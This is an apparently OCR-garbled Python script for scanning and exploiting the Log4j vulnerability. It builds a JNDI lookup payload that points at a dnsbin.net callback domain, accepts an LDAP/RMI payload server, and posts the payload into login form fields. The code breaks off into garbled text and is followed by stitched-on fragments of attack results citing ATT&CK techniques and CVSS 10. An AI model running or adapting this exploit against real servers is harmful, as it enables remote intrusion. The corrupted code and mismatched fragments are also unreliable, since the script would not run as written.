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import requests,argparse,random,string

parser = argparse.ArgumentParser()

parser.add_argument("--target" ,help="1log4)j server target ex. --target http://127.0.0.1/login")
parser.add_argument("--payload",help="LDAP or RMI Payload server ex. ldap://127.0.0.1")
parser.add_argument("--parameter”,help="input test parameter")

parser.add_argument("--mode” ,help="--mode scan or exploit")

args = parser.parse_args()

if args.target:
url = args.target

else:
print('no log4j target, --target target ')
exit()

headers = {'Content-Type': 'application/x-www-form-urlencoded"'}
post_data_parameters = ["username”, "user", "email", "email_address”, "password"]

def get_dns_domain():
ran_str = '',join(random.sample(string.ascii_letters + string.digits, 15))
dns_domain = f"{ran_str}.test.dnsbin.net"
verify_dns_domain = f"https://dnsbin.net/verify/test/{ran_str}"”
print("disbin[]' + dns_domain)
return dns_domain,verify_dns_domain

def scan():
dns_domain,verify_dns_domain = get_dns_domain()
payload = "data=${jindi:dns://"+ dns_domain +"}"
r = requests.get(verify_dns_domain)
result = r.json()[’'status']

1f result == False:
r = requests.post(url,data=payload,headers=headers)
#print(r.text)

r = roanecte catflverifu dne doamain)
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$[1].ATTACK
[{"id":"T1071.001","status":"STATUS_SUCCEEDED","platform":"linux","mess:

$[1]. MESSANGE tO u Se

$[1].STATUS

just by clicks.

$[1].cvss
10

$[2].ATTACK
[{"id":"T1105" "status":"STATUS_SUCCEEDED","platfarm":"linux","messange

$[2].MESSANGE

$[2].STATUS
SUCCESS

$[2].cvss
10
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